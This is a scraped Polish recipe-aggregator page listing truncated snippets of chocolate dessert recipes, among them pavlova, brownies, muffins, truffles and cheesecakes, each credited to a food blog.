Pavlova, lub jak kto woli -Pawłowa- to słynny deser bezowy.  Można modyfikować przepis według własnych upodobań.  Można użyć owoców, czekolady, ulubionych sosów, na przykład karmelowy lub solony karmel.  Największa trudnością jest upieczenie bezy, choć ja i tak jestem zdania, że nie taki diabeł straszny.  Trzeba trzymać się zasad a uda się wyśmienicie.   Po pierwsze(...)cytryny 1 łyżeczka mąki ziemniaczanej Na wierzch bezy użyłam  350 g śmietany kremówki  100 g mascarpone świeże owoce  rozpuszczona(przestudzona ale cały czas płynna) gorzka czekolada Groszki czekoladowe   Wykonanie.  Do misy miksera przelać białka i ubijać na sztywną piane -uważać aby nie przebić białek. Następnie dodawać łyżka po łyżce cukier. Dodać sok z cytryny

Piekarz-Kucharz-Garkotłuk
Przepis #117 Walentynkowy deser FIT "Monte" 164

kcal w tym: B: 19,6 g; 33,4 g; T: 7 g.   Składniki (2 porcje ) - 400 ml jogurtu greckiego - banan - najlepiej bardzo dojrzały  - 5 kostek gorzkiej czekolady (bez cukru)  - 1,5 łyżki syropu daktylowego lub innego słodzika - 2-3 łyżeczki kakao Wykonanie Jogurt dzielimy na dwie części. Pierwszą (biała warstwa) miksujemy z bananem na jednolitą masę(...)kąpieli wodnej rozpuszczamy czekoladę. Następnie bardzo powoli dodajemy drugą część jogurtu. Dosypujemy kakao oraz syrop daktylowy. Całość dokładnie mieszamy. Do salaterek/szklanek najpierw wkładamy ciemną masę a następnie białą. Całość posypujemy odrobinę kakao lub startą gorzką czekoladą.   Deser najlepiej smakuje po schłodzeniu. Będzie idealnym dopełnieniem nie tylko walentynkowej kolacji.   Smacznego

Health-Fit-Life
Pavlova na bogato 195

Pavlova, lub jak kto woli -Pawłowa- to słynny deser bezowy.  Można modyfikować przepis według własnych upodobań.  Można użyć owoców, czekolady, ulubionych sosów, na przykład karmelowy lub solony karmel.  Największa trudnością jest upieczenie bezy, choć ja i tak jestem zdania, że nie taki diabeł straszny.  Trzeba trzymać się zasad a uda się wyśmienicie.   Po pierwsze(...)cytryny 1 łyżeczka mąki ziemniaczanej Na wierzch bezy użyłam  350 g śmietany kremówki  100 g mascarpone świeże owoce  rozpuszczona(przestudzona ale cały czas płynna) gorzka czekolada Groszki czekoladowe   Wykonanie.  Do misy miksera przelać białka i ubijać na sztywną piane -uważać aby nie przebić białek. Następnie dodawać łyżka po łyżce cukier. Dodać sok z cytryny

Piekarz-Kucharz-Garkotłuk
Czekoladki 150

Czekoladki zrobione przez moją młodszą córkę..Nadzienie do takich czekoladek może być dowolne.. czekolada [najlepiej gorzka] dowolne nadzienie [ u mnie maliny zmiksowane z cukrem i małym dodatkiem żelatyny] Roztopioną czekoladą [ w kąpieli wodnej] wysmarować ścianki silikonowych foremek i wstawić do lodówki. Po zastygnięciu czynność powtórzyć .   Czekoladowe korpusy wypełnić nadzieniem, zostawiając około 1 mm u góry i zalać resztą(...)czekolady. Ponownie wstawić do lodówki, a następnie wyjąć z foremek

Moje domowe kucharzenie
Pascha z kiwi, śliwkami i matchą 137

prawdziwą wanilią 3 czubate łyżki miodu sok i skórka z cytryny 100 g wędzonych śliwek bez pestek (kilka odłożyć do dekoracji) 50 g kropelek czekoladowych do pieczenia lub gorzkiej czekolady drobno posiekanej (odłożyć garstkę do dekoracji) 2 łyżki matchy lub innego zielonego barwnika w proszku (np. młody jęczmień, spirulina) 4 kiwi (2 do środka i 2 na później do dekoracji(...)półmetrowa) lub muślin do odsączenia na durszlaku Przepis na wielkanocną paschę z kiwi, śliwkami i matchą Serek naturalny wymieszać z mascarpone, miodem, wanilią i cytryną. Dodać pokrojone drobno śliwki, czekoladę. matchę i 2 kiwi (obrane i pokrojone na małe kawałki) i dokładnie wymieszać. Durszlak lub duże sito wyłożyć gazą. Przełżyć masę serową i wstawić do lodówki lub przy niskiej temperaturze

Ugotowane pozamiatane
Owsianka orzechowo-czekoladowa 163

Składniki (na 1 porcję) - 5 łyżek płatków owsianych (ok. 50 g), - szklanka mleka 2% (ok. 250 ml), - 2 kostki gorzkiej czekolady (ok. 10 g), - łyżka masła orzechowego (ok. 20 g), - łyżeczka orzechów arachidowych (ok. 5 g), - pół banana (ok. 58 g). Sposób przygotowania 1. Płatki owsiane zalewamy mlekiem i wstawiamy na noc do lodówki. 2. Namoczone płatki owsiane z dodatkiem(...)kostki czekolady i masła orzechowego podgrzewamy. 3. Owsiankę dekorujemy posiekaną kostką czekolady, orzechami i plasterkami banana. Owsianka orzechowo-czekoladowa jest bogata w: - błonnik pokarmowy (pochodzący z płatków owsianych), który daje uczucie sytości, - potas (pochodzący z banana), który reguluje przewodzenie bodźców nerwowych. Wartość odżywcza jednej porcji: Porcja waży: ok. 270 g Energia: 496,8 kcal Białko: 18,0 g Tłuszcze

Zdrowe odżywianie w pięciu smakach
DESER W POMARAŃCZY 154

Bardzo prosto się go przygotowuje, fajnie wygląda i super smakuje. Polecam :) SKŁADNIKI: 6 pomarańczy 2 galaretki pomarańczowe 3-4 łyżki cukru pudru 330 ml śmietany 30 % ewentualnie śmietan fix czekolada mleczna 2- 3 mandarynki WYKONANIE: Pomarańcze myjemy, osuszamy i przekrawamy na pół. Za pomocą łyżeczki wydrążamy miąższ. Dwie galaretki rozpuszczamy w 1 litrze wody. Odstawiamy do ostudzenia. Gdy zacznie(...)galaretka zastygła ubijamy śmietanę na sztywno, dodajemy cukier puder i śmietan fix. Gdy jest sztywna przekładamy do rękawa cukierniczego i wyciskamy dowolne wzory. Na końcu ścieramy na tarce czekoladę oraz dekorujemy kawałkiem mandarynki i kostką czekolady. Smacznego :) Z przepisu wychodzi 12 deserków. MAŁA RADA: Pozostały miąższ możemy włożyć do naszej ,,pomarańczowej miseczki'' i zalać galaretką

Pani na deser
Słodki torcik naleśnikowy 164

BioBabalscy 1 łyżeczka proszku do pieczenia 4 łyżki oleju krem: 200 ml śmietanki 30% 1 "śnieżka" w proszku 2 łyżki mleka w proszku polewa: 1 łyżka masła 50 g czekolady mlecznej (ja miałam z wiórkami kokosowymi) 2 łyżki mleka kolorowa posypka oraz słoiczek dżemu truskawkowego Przygotowanie: Składniki na ciasto naleśnikowe umieszczamy w dużej misce i miksujemy, aż nie będzie grudek(...)układamy drugiego naleśnika i smarujemy go łyżką kremu. Postępujemy tak z pozostałymi naleśnikami, smarując je na przemian dżemem i kremem. Ostatniego naleśnika nie smarujemy. Do słoiczka układamy masło, pokruszoną czekoladę i mleko. Wkładamy słoiczek do mikrofalówki i podgrzewamy przez 30 sekund. Następnie mieszamy,aż czekolada się rozpuści. Odstawiamy polewę do lekkiego przestygnięcia na kilka minut a następnie polewamy nią tort

słodkie i nie tylko historie kulinarne
muffiny czekoladowe 137

składniki: 150 g mąki orkiszowej lub pszennej 50 g czekolady gorzkiej 40 g kakao 1 jajko 1 żółtko 120 g śmietany 18% 55 g masła 110 g cukru pudru 3/4 łyżeczki sody 1 łyżeczka ekstraktu waniliowego opcjonalnie: ok. 50 ml wody, gorącej wykonanie: Czekoladę rozpuszczamy z masłem, mieszamy, gdy się połączą zestawiamy z ognia. W osobnym naczyniu mieszamy mąkę, cukier(...)kakao, sodę, sól. Do czekolady z masłem dodajemy jajko i żółtko, mieszamy do połączenia się. Dodajemy śmietaną oraz ekstrakt, mieszamy. Następnie dodajemy dodajemy wymieszane suche składniki. Mieszamy do połączenia się z masą czekoladową, opcjonalnie dodajemy gorącą wodę, mieszamy. Ciasto przekładamy do wyłożonej papierowymi papilotkami foremki na muffiny (12 szt. muffin). Pieczemy w 170 st. C przez ok.15-20

Domowy Smak Jedzenia
Kruche ciasteczka z kawałkami czekolady. 107

sobie, że nie masz ciastek do kawy, a do sklepu nie masz ochoty iść po jedną rzecz. Mam dla Ciebie świetną propozycję! Kruche, domowe i smaczne ciasteczka z kawałkami czekolady - wykonasz je maksymalnie w 15 minut! Gwarantuję - goście będą zachwyceni. Składniki: 1 szklanka mąki 1 jajko 1/4 szkl. cukru szczypta soli 1 łyżeczka proszku do pieczenia 100g margaryny tabliczka mlecznej(...)czekolady Przygotowanie: 1. Mąkę, jajko, cukier, sól, proszek do pieczenia i margarynę wymieszać dłońmi do uzyskania jednolitej masy. 2. Czekoladę pokroić na drobną kosteczkę, połączyć z wyżej wyrobioną masą. 3. Formować kulki, następnie rozpłaszczać, by powstały ciasteczka. 4. Piec w nagrzanym piekarniku (termoobieg) do 180 stopni do czasu aż się zarumienią. Z tego przepisu wychodzi do 15 ciasteczek. Zajrzyj również

My World by Dagmara Rek
Czekoladowa karpatka z brzoskwiniowym musem 494

Klasyczna karpatka z  delikatnym kremem przekładana orzeźwiającym musem z brzoskwiń i polana mleczną czekoladą. Składniki: Ciasto: 250ml wody 125g masła extra 1 szklanka mąki pszennej 1/2 łyżeczki proszku do pieczenia 6 łyżeczek kakao szczypta soli 5 jajek Krem: 1litr mleka 300g masła extra 3 łyżki mąki ziemniaczanej 3 łyżki mąki pszennej 3łyżeczki cukru wanilinowego 4 żółtka 5 łyżek cukru(...)brzoskwiń: 800g brzoskwiń z puszki po odsączeniu 1 szklanka wody 2 galaretki o smaku brzoskwiniowym Dodatkowo: 120g mlecznej czekolady 4 łyżki mleka Wykonanie: 1.  Ciasto: Masło rozpuścić w gotującej wodzie, dodać szczyptę soli, mąkę wymieszaną z proszkiem do pieczenia i kakao. Całość dokładnie mieszać pałką, żeby ciasto odchodziło od ścianek. Pozostawić do wystudzenia. Do zimnego ciasta dodawać kolejno jajka

Szalona Kuchnia Eweliny
Tiramisu z białą czekoladą i borówkami 183

jest to klasyczne tiramisu, raczej wariacja na jego temat ;) Bez jajek, z dodatkiem białej czekolady, tym razem nawet bez likieru amaretto. Całość jednak smakuje wyśmienicie. Odpowiednio słodki. Polecam, jest pysznie :) Jeżeli przygotowałaś/eś danie z tego przepisu, proszę o jego zdjęcie :). Wyślij je na adres konsek_ewa@o2.pl lub zostaw w komentarzu na facebooku. Fotografię opublikuję na facebookowym profilu Domowej cukierni(...)Składniki na 2 duże lub 4 mniejsze pucharki: 3/4 opakowania podłużnych biszkoptów 1/2 szklanki zaparzonej, mocnej kawy 200 g serka mascarpone 50 g czekolady białej, rozpuszczonej i przestudzonej 300 g borówek kakao do oprószenia Śmietanę kremówkę ubić na sztywno. Dodać roztopioną i przestudzoną czekoladę. Dokładnie wymieszać. Dodać mascarpone i delikatnie wymieszać, tylko do połączenia składników. Biszkopty nasączyć w kawie

Domowa cukiernia Ewy
BROWNIE PIECZONE Z POLEWĄ 164

BROWNIE PIECZONE Z POLEWĄ Jedno z ulubionych ciast czekoladowych. Brownie to ciasto tzw. zakalec, nie wyrasta, za to jest mokre, ciężkie, wilgotne i soczyste. Można powiedzieć, że ocieka z czekolady. Idealne na chandrę. Na pewno poprawi humor i nastrój. Przy pysznej kawie nie ma sobie równych. Jak widać ma same zalety. Dodatkowo przygotowanie tego ciasta to pestka. Jedyną wadą jest(...)pójdzie nam w boczki :D PRZEPIS czekolada gorzka co najmniej 70 %  200 g. masło 100 g. jaja 6 szt. mąka 170 g. śmietana kremówka 36 % 250 ml. cukier 1 szkl. kakao gorzkie prawdziwe 4 łyżki Polewa kakao gorzkie prawdziwe 4 łyżki cukier 4 łyżki śmietana kremówka 36 % 4 łyżki jajko 1 szt.  Przepis: Czekoladę łamiemy na kostki

Kuchnia Paulettes
sernik z galaretką malinową na czekoladowym spodzie 119

składniki na czekoladowy spód: 70 g czekolady gorzkiej 60 g masła 55 g cukru 1 jajko 45 g mąki orkiszowej lub pszennej 1 szczypta soli wykonanie: Czekoladę rozpuszczamy z masłem. W osobnym naczyniu miksujemy cukier z jajkiem na puszystą masę. Dodajemy czekoladę z masłem i krótko miksujemy. Następnie dodajemy mąkę z solą i miksujemy do połączenia się składników. Przekładamy

Domowy Smak Jedzenia
Kawa różana z białą czekoladą 124

domu to poczujecie się jak w kawiarni! Dla kogo: dla chcących urozmaicić sobie codzienną kawkę dla chcących przenieść się do ogrodu dla kawopijców Składniki: 2-3 kostki białej czekolady jedna miarka espresso lub filiżanka Waszej ulubionej kawy pół łyżeczki suszonych płatków róży łyżka wody różanej (lub syropu różanego) 50ml mleka Wykonanie: Białą czekoladę rozpuścić w mikrofalówce lub wrzucić po prostu(...)filiżanki. Zaparzyć kawę. Może być z kafetierki, z ekspresu lub nawet rozpuszczalna w najgorszym razie - taka jak lubicie. Spienić mleczko w spieniaczu, używając spieniacza ręcznego, dostawki do ekspresu. Białą czekoladę zalać gorącą kawą i wymieszać. Dolać wodę różaną/syrop. Nałożyć spienione mleko i posypać suszonymi płatkami róży. Mmmm

Mania Wypiekania
Sernikowy puch 325

Wysoki, puszysty, tradycyjny sernik z pianą z białek, polany mleczną czekoladą jest zdecydowanym królem wśród domowych ciast od lat goszczących na naszych stołach. Idealny na każdą okazję. Składniki: Ciasto: 1,5szklanki maki pszennej 150g masła extra 2 żółtka 1 całe jajko 1/2 szklanka cukru pudru 2 łyżeczki cukru wanilinowego 2 łyżeczki proszku do pieczenia Masa serowa: 1,20kg półtłustego sera(...)łyżeczki cukru wanilinowego 1 budyń waniliowy 4 żółtka 2 całe jajka 2,5 szklanki mleka Beza: 6 białek 1 szklanka cukru pudru 1 łyżka octu jabłkowego Polewa: 100g mlecznej czekolady 3 łyżki mleka Wykonanie: 1.  Ciasto: Do miski przesiać mąkę, dodać proszek do pieczenia, cukry, masło, żółtka oraz całe jajko. Następnie zagnieść i wyrobić na jednolite ciasto, podzielić

Szalona Kuchnia Eweliny
#3 Muffiny kakaowe z budyniem, czekoladą i płatkami owsianymi 126

jaja 1 i 1/2 szklanki mleka 1/2 szklanki oleju 3 płaskie łyżeczki proszku do pieczenia 3 łyżki gorzkiego kakao 1 i 3/4 szklanki cukru tabliczka dobrej i prawdziwej gorzkiej czekolady  płatki owsiane budyń waniliowy ( czyli dodatkowe 400ml mleka) Sposób przygotowania: Budyń przygotowujemy wg instrukcji na opakowaniu, zmniejszając ilość mleka o 100 ml. Po uzyskaniu gładkiej masy pozostawiamy do całkowitego(...)pieczenia muffinek wykładamy papierowymi papilotkami i nakładamy po łyżce masy. Na to dajemy około łyżeczki budyniu i przykrywamy masą kakaową. Muffiny pieczemy w 200 stopniach około 25 minut.  Czekoladę roztapiamy w kąpieli wodnej (posłuży nam jako polewa). Ostudzone muffiny smarujemy roztopioną czekoladą i posypujemy płatkami owsianymi.  Smacznego

Taste of imagination
Kubeczki brownie z toffifee 227

ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-fareast-language:EN-US;} 100 g gorzkiej czekolady, posiekanej 100 g masła 2 jajka 180 g drobnego cukru do wypieków (lub mniej) 100 g mąki pszennej 3/4 łyżeczki proszku do pieczenia 1 łyżeczka cukru waniliowego pralinki toffifee Masło(...)umieszczamy w garnuszku i rozpuszczamy. Zdejmujemy z ognia, dodajemy połamaną czekoladę i mieszamy, aż się rozpuści. Studzimy. Do miski wbijamy jajka, dodajemy cukier i cukier waniliowy, mieszamy rózgą kuchenną. Następnie wlewamy czekoladę z masłem i również mieszamy. Na koniec wsypujemy proszek do pieczenia i mąkę. Mieszamy do połączenia składników. Foremki na muffinki smarujemy masłem i wysypujemy mąką. Kokilki napełniamy

Czerwona Porzeczka
Ciasto piernikowe z mąki razowej 186

jabłka – 3 szklanki mąki pszennej razowej – 1 szklanka oliwy z oliwek – 2 łyżki kakao – 3/4 opakowania przyprawy piernikowej – 2 łyżeczki cynamonu – 50 g gorzkiej lub deserowej czekolady – 1,5 łyżeczki sody oczyszczonej – 1/2 szklanki płynnego miodu – 3 jajka – 100 g gorzkiej czekolady 70% (na polewę) Przygotowanie: Jabłka obieramy ze skórki i ścieramy na grubych oczkach. Mąkę przesiewamy(...)miski dodajemy cynamon, przyprawę piernikową, kakao i sodę oczyszczoną. Na końcu dodajemy pokrojoną czekoladę.Wszystko mieszamy. Żółtka oddzielamy od białek. Ubijamy pianę. Żółtka ucieramy na pulchną masę dodajemy miód a na końcu oliwę. Wszystko chwilę miksujemy i dodajemy do mąki. Następnie dodajemy ubita pianę z białek i na końcu jabłka . Wszystko mieszamy. Uwaga – ciasto będzie bardzo gęste. Wszystko wykładamy

I LOVE LIFE
CIASTECZKA CZEKOLADOWE 116

kształcie serduszka również przekładane kajmakiem. Są pyszne- mocno czekoladowe! Zniknęły w mgnieniu oka 😉 Składniki: 130 g masła 2 jajka 1 op. cukru waniliowego 1/2 szklanki cukru 100 g czekolady gorzkiej 2 szklanki mąki pszennej 2 łyżki kakao 2 łyżeczki sody szczypta soli puszka kajmaku maczek truskawkowy Delecta Polewa: 3 łyżki wody 3 łyżki cukru pudru 2 łyżki kakao Wykonanie(...)misce łączymy przesianą przez sitko mąkę pszenną, sodę, sól i kakao. Czekoladę gorzką topimy w kąpieli wodnej. Miękkie masło ucieramy z cukrem i cukrem waniliowym, następnie dodajemy stopniowo jajka, a na końcu rozpuszczoną czekoladę. Cały czas ucieramy mikserem. Następnie, nie przerywając ucierania, stopniowo dodajemy składniki suche. Gotowe ciasto przekładamy na stolnicę i wyrabiamy. Rozwałkowujemy je na grubość

Kuchnia MagdaLeny
Ciasto czekoladowe z masą karmelową i solonymi orzeszkami ziemnymi 1058

wilgotne. Spróbujcie, a może Wam zasmakuje. U mnie przepis zostaje do ciast z bardzo słodkimi kremami. Składniki: * ciasto: (na keksówkę o wymiarach 25x10) - 100g masła - 100g gorzkiej czekolady - 1/4 szklanka drobnego cukru - 1 szklanka mąki pszennej - 2 jajka - 3/4 łyżeczki proszku do pieczenia - 1 łyżeczka ekstraktu z wanilii - szczypta soli * masa karmelowa: - 50g masła - 1/3 szklanki cukru - 1/3 szklanki wody(...)szklanki śmietanki kremówki - 200g mleka w proszku - 100g solonych orzeszków ziemnych * polewa karmelowa: - 50g masła - 100g cukru - 1/2 szklanki śmietany kremówki Przed przygotowaniem ciasta zapoznaj się z moimi miarkami. Czekoladę rozpuścić z masłem w kąpieli wodnej. Lekko przestudzić. Białka oddzielić od żółtek. Żółtka utrzeć z cukrem na puszystą i białą masę. Pod koniec ubijania dodać ekstrakt z wanilii. Następnie dodać

CookYourself
Przepis #117 Walentynkowy deser FIT "Monte" 133

kcal w tym: B: 19,6 g; 33,4 g; T: 7 g.   Składniki (2 porcje ) - 400 ml jogurtu greckiego - banan - najlepiej bardzo dojrzały  - 5 kostek gorzkiej czekolady (bez cukru)  - 1,5 łyżki syropu daktylowego lub innego słodzika - 2-3 łyżeczki kakao Wykonanie Jogurt dzielimy na dwie części. Pierwszą (biała warstwa) miksujemy z bananem na jednolitą masę(...)kąpieli wodnej rozpuszczamy czekoladę. Następnie bardzo powoli dodajemy drugą część jogurtu. Dosypujemy kakao oraz syrop daktylowy. Całość dokładnie mieszamy. Do salaterek/szklanek najpierw wkładamy ciemną masę a następnie białą. Całość posypujemy odrobinę kakao lub startą gorzką czekoladą.   Deser najlepiej smakuje po schłodzeniu. Będzie idealnym dopełnieniem nie tylko walentynkowej kolacji.   Smacznego

Health-Fit-Life
Czekoladowe babeczki z kawałkami czekolady, masą malinową i serduszkami 132

Czekoladowe babeczki z kawałkami czekolady, orzeźwiającą masą malinową i serduszkami z galaretki to fajny pomysł na odrobinę słodkości do małej czarnej z drugą połówką. Składniki: 2 szklanki mąki pszennej 2 łyżeczki proszku do pieczenia 1 łyżeczka sody oczyszczonej 3 łyżki kakao 150g masła 1 szklanka cukru 1 łyżka cukru wanilinowego 3 jajka 170 ml mleka 150g mlecznej czekolady Masa malinowa(...)dodać kakao i proszek do pieczenia. 3. Jajka zmiksować na puch dodać mleko i wcześniej rozpuszczone masło. 4. Połączyć suche i mokre składniki dodać cukier i cukier wanilinowy. 5. Czekoladę pokruszyć-pokroić na mniejsze kawałki, dodać do masy. Dokładnie wymieszać. 6. Masę czekoladową przełożyć do foremek. 7. Piec około 25 minut w piekarniku nagrzanym do 180 stopni. 8. Galaretkę rozpuścić

Szalona Kuchnia Eweliny
babka "murzynkowa" na oleju kokosowym z polewą czekoladowo-dżemową... 131

łyżeczka, sól - szczypta, proszek do pieczenia 1 łyżeczka, soda 1 łyżeczka, dżem niskosłodzony jaki się lubi smak 3 łyżki, kakao 3 łyżki, skórka kandyzowana pomarańczowa 100 gram polewa: czekolada truskawkowa 100 gram, dżem niskosłodzony 3 łyżki do pojemnika wsypać mąkę, sodę, proszek do pieczenia, cukier, sól, kakao, wbić jajka, wlać olej kokosowy, mleko, dodać dżem(użyłam swój domowy z ciemnych(...)kominkiem 24 cm, do formy dać ciasto i piec w nagrzanym piekarniku na 190C, grzanie góra/dół około 60 minut, do suchego patyczka, babkę wyjąć z formy wystudzoną czekoladę truskawkową dać do garnka razem z dżemem i mieszając stopić czekoladę ciepłą polewę wylać na babkę, posypać resztą skórki pomarańczowej i zostawić do zastygnięcia - babka murzynkowa jest bardzo smaczna, aromatyczna

W Mojej Kuchni Lubię
Waniliowe kwiatuszki na walentynkowe śniadanie 174

Może kino, restauracja, jakaś romantyczna wycieczka lub po prostu dzień spędzony razem nawet na leniuchowaniu … Na pewno macie swoje wyjątkowe plany A do naszych walentynkowych kwiatuszków polecam waniliową czekoladę Taka mała słodka rozpusta Czekoladę podałam w uroczych kubkach dla pary „Love forever”   do nabycia w GiftMaker Składniki: 2 jajka 4 łyżki mąki pszennej 2 łyżki naturalnego jogurtu(...)można np. wyciąć serduszka). Waniliowe kwiatuszki wykładamy na talerzyku, oprószamy cukrem pudrem i ozdabiamy delikatnie konfiturą i listkami mięty. Podajemy z ulubioną herbatą czy tak jak u nas gorącą czekoladą. Smacznego

Słodkie okruszki
trufle czekoladowe z nutką wina 152

składniki: 150 g czekolady gorzkiej 50 ml wina, czerwonego (ja użyłam półsłodkiego) 80 ml śmietanki kremówki 30% kakao do obtoczenia opcjonalnie: wiśnie z likieru wykonanie: Śmietankę podgrzewamy (nie dopuszczamy do wrzenia), gdy będzie gorąca zalewamy nią połamana na mniejsze kawałeczki czekoladę. Na chwilkę odstawiamy. W osobnym naczyniu delikatnie podgrzewamy wino (równie nie dopuszczamy do zagotowania), letnie wlewamy do masy. Całość(...)mieszamy do całkowitego rozpuszczenia się czekolady. Odstawiamy (schładzamy) do stężenia. Jo pozostawiałam w lodówce na noc. Następnie formujemy małe kuleczki (polecam tą czynność wykonać w ochronnych rękawiczkach ) i obtaczamy w kakao. Opcjonalnie podczas formowania kuleczek, najpierw masę spłaszczamy, układamy pi jednej wisience, sklejamy, formujemy kuleczkę i obtaczamy w kakao. Gotowe schładzamy i przechowujemy w lodówce. Te trufelki rozpływają się

Domowy Smak Jedzenia
Walentynkowy sernik na zimno z malinami 117

walentynkowy deser wyczarowałem! Oto waniliowy sernik na zimno, skrywający wewnątrz malinową galaretkę, podany na kruchym maślanym spodzie i polany błyszczącą glazurą z białej czekolady. Tworząc go, inspirowałem się nowymi trendami cukierniczymi, jeśli chodzi o monoporcje (fr. entremet ), przygotowując jednak sernik w całkiem maxi rozmiarze. Wyszedł całkiem fajnie i wbrew pozorom jest prosty w wykonaniu deser, który możecie wyczarować specjalnie(...)łyżeczki żelatyny Galaretka malinowa: 300 g malin 2 łyżki cukru 2 łyżeczki żelatyny Błyszcząca glazura*: 150 g cukru 75 ml wody 100 ml słodzonego mleka skondensowanego 150 g białej czekolady 1 łyżeczka żelatyny szczypta czerwonego barwnika * PRZYGOTOWANIE Kruchy spód Mąkę wymieszaj z cukrem oraz solą. Dodaj posiekane masło i zagnieć ciasto. Rozwałkuj je cienko i przełóż na spód formy pokrytej

Food Square
CIASTO SNICKERS BEZ PIECZENIA + FILMIK 322

DODATKOWO : 100 g czekolady mlecznej 1 puszka orzeszków solonych forma do pieczenia 25/30 cm PRZYGOTOWANIE : Blaszkę należy wyłożyć papierem do pieczenia, na dno układamy 1 warstwę herbatników. Budynie mieszamy z mlekiem i cukrem, zagotowujemy ciągle mieszając aż powstanie gęsty budyń. Gorący wylewamy na pierwszą warstwę ciastek i układamy drugą. Mleko z puszki wykładamy do miseczki i podgrzewamy lekko w mikrofalówce(...)misy robota, ciągle miksując wsypujemy partiami mleko w proszku. Masę odkładamy na 15 minut aby zaczęła gęstnieć. Kiedy jest już gęstsza wylewamy ją na ciasto, masę mleczną przykrywamy herbatnikami. Czekoladę łamiemy na kawałki, wlewamy 1-2 łyżki mleka, podgrzewamy w mikrofalówce aż się rozpuści, dokładnie mieszamy. Czekoladę wylewamy na ciastka, oraz pozostałą masę kajmakową, finezyjnie je rozsmarowując. Rozsypujemy resztę orzechów

Kulinarne Fantazje Marioli
CHOCOLATE CON CHURROS 154

poszerzyć kulinarne horyzonty.    Churros, czyli tradycyjna hiszpańska przekąska śniadaniowa (!!!) z ciasta parzonego, smażona na głębokim tłuszczu. Można churros zjeść bez niczego, posypane cukrem pudrem, z filiżanką gorącej czekolady lub sosu czekoladowego ( chocolate con churros ) bądź z sosem na bazie mleka skondensowanego, o słodkiej nazwie - dulce de leche.     Dziś zaprezentuję wersję z mocno alkoholowym sosem czekoladowym(...)śmietanki kremówki 30% 100 ml śmietanki słodkiej 18% 15 ml alkoholu (np. rum, brandy, metaxa) 2-3 łyżki cukru 1 łyżeczka cynamonu 150 g gorzkiej czekolady (min. 75% kakao) łyżka masła Sposób przygotowania - churros: Mleko, masło, cukier umieszczam w garnku ok. 1l. Zagotowuję razem, uważając, aby nie przypalić. Kiedy mieszanina wrze, wsypuję mąkę i na wolnym ogniu ucieram razem (najlepiej

W kuchni Karmel-itki
Ciasto czekoladowe z suszonymi figami 168

cukru trzcinowego 2 jaja 2 czubate łyżki gorzkiego kakao 1 łyżeczka cynamonu 1/2 płaskiej łyżeczki soli 1/2 szklanki oleju rzepakowego do dekoracji: płatki migdałowe, posiekane orzechy, inne bakalie, tarta czekolada, wiórki kokosowe Polewa czekoladowa: 100 g czekolady gorzkiej lub mlecznej ok. 5 łyżek słodkiej śmietanki 18% – ewentualnie 30% kilka kropel syropu z agawy lub cukru pudru do smaku Przygotowanie(...)minut lub do tzw. suchego patyczka. Po upieczeniu wyjmujemy z piekarnika, czekamy 5 minut i wyjmujemy z formy. Studzimy na kratce. Polewamy polewą, dekorujemy. Polewa: w kąpieli wodnej rozpuszczamy czekoladę, dodajemy śmietankę i syrop, mieszamy. Ciasto czekoladowe z suszonymi figami gotowe

Zasmakuj Kuchni
Pralinki czekoladowe 134

poza tym jest to z pewnością chyba najważniejsze ŚWIĘTO każdego łasucha, w tym mnie. Na około 15 pralinek/trufli, jak kto woli : ok 100 ml śmietanki kremówki Tabliczka czekolady gorzkiej pół tabliczki czekolady mlecznej łyżeczka masła 3-5 łyżki wódki lub rumu kakao i kilka orzechów włoskich Zaczynamy od zagotowania śmietanki, następnie zdejmujemy z ognia i wrzucamy połamane czekolady, łyżeczkę masła

Pora na pora
Cytrynowe ciasto piaskowe 132

Klasyczne ciasto piaskowe o smaku cytrynowym połączone z wykwintnym smakiem mlecznej czekolady.  Składniki: 200g masła extra 6 jajek 1 szklanka cukru pudru 1,5 szklanki mąki pszennej 1 szklanka mąki ziemniaczanej 2 łyżeczki proszku do pieczenia 2 łyżki oleju 60ml soku z cytryny starta skórka z 1 cytryny 9ml aromatu cytrynowego szczypta soli bułka tarta do wysmarowania formy olej(...)wysmarowania formy Dekoracja: 150g mlecznej czekolady kolorowe kwiatki i kulki Wykonanie: 1.  Masło utrzeć z cukrem pudrem, dodać żółtka i utrzeć na puszystą masę. Następnie dodać skórkę, sok z cytryny oraz aromat cytrynowy, całość wymieszać.  Zmniejszyć obroty miksera, dodać przesiane i wymieszane z proszkiem do pieczenia mąki oraz olej i ubite na sztywno ze szczyptą soli białka. Wszystko

Szalona Kuchnia Eweliny
Gniazdka z serka homogenizowanego z czekoladą 149

przepyszne. SKŁADNIKI: 300g serka homogenizowanego waniliowego, 3 jajka, 2,5 szklanki mąki pszennej, 1 łyżka cukru waniliowego, 3 łyżki cukru pudru, 2 łyżeczki proszku do pieczenia, 1 tabliczka gorzkiej czekolady, olej do smażenia. PRZYGOTOWANIE: 1. Serek homogenizowany miksuję razem z jajkami, cukrem pudrem i cukrem waniliowym. Stopniowo dodaję mąkę wymieszaną razem z proszkiem do pieczenia. 2. Pergamin tnę na kwadraty(...)Gniazdka w kładam na rozgrzany olej (p apierem do góry ) . Gdy wypłyną na wierzch delikatnie zdejm uję papier. Gniazdka smaż ę na złoty kolor z dwóch stron. 4. Czekoladę łamię na kostki i rozpuszczam nad kąpielą wodną. Rozpuszczoną czekoladą polewam usmażone gniazdka

Tradycyjna kuchnia Kasi
Donaty z czekoladą 128

Witajcie:)  Zapraszam na pyszne, puszyste pączki z dziurką,  Donaty z czekoladą. Do czwartkowej kawki w sam raz, jeśli ktoś nie lubi pączków:) Zapraszam do wypróbowania :)  Składniki : około 590 g mąki typ 450 100 g cukru 1 cukier waniliowy 80 g oleju 2 jajka skórka starta z jednej pomarańczy 20 g drożdży 240 ml mleka 400 g czekolady(...)wysokim rondlu rozgrzewamy około 1 l oleju, wkładamy po kila sztuk i smażymy na złoty kolor z obydwu stron, następnie wykładamy na papierowy ręczniczek i pozostawiamy do przestygnięcia. Czekoladę rozpuszczamy w kąpieli wodnej i zanurzamy w niej do połowy każdego donata. Wierzch można posypać kolorową posypką, migdałami lub wiórkami kokosowymi. Życzę udanych wypieków :)    Przepis podpatrzyłam u Benedetty

Sama słodycz i szczypta chili
składanka jabłkowa z musem czekoladowym 133

